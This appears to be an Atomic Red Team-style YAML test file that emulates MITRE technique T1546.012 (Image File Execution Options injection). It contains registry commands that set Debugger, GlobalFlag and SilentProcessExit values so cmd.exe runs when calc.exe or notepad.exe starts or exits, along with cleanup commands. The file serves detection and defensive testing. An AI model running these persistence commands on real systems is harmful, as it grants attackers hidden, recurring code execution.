attack_technique: T1546.012
display_name: 'Event Triggered Execution: Image File Execution Options Injection'
atomic_tests:
- name: IFEO Add Debugger
  auto_generated_guid: fdda2626-5234-4c90-b163-60849a24c0b8
  description: |
    Leverage Global Flags Settings
  supported_platforms:
  - windows
  input_arguments:
    target_binary:
      description: Binary To Attach To
      type: Path
      default: C:\Windows\System32\calc.exe
    payload_binary:
      description: Binary To Execute
      type: Path
      default: C:\Windows\System32\cmd.exe
  executor:
    command: |
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
    cleanup_command: |
      reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /f >nul 2>&1
    name: command_prompt
    elevation_required: true
- name: IFEO Global Flags
  auto_generated_guid: 46b1f278-c8ee-4aa5-acce-65e77b11f3c1
  description: |
    Leverage Global Flags Settings
  supported_platforms:
  - windows
  input_arguments:
    target_binary:
      description: Binary To Attach To
      type: Path
      default: C:\Windows\System32\notepad.exe
    payload_binary:
      description: Binary To Execute
      type: Path
      default: C:\Windows\System32\cmd.exe
  executor:
    command: |
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"
    cleanup_command: |
      reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1
      reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1
      reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f >nul 2>&1
    name: command_prompt
    elevation_required: true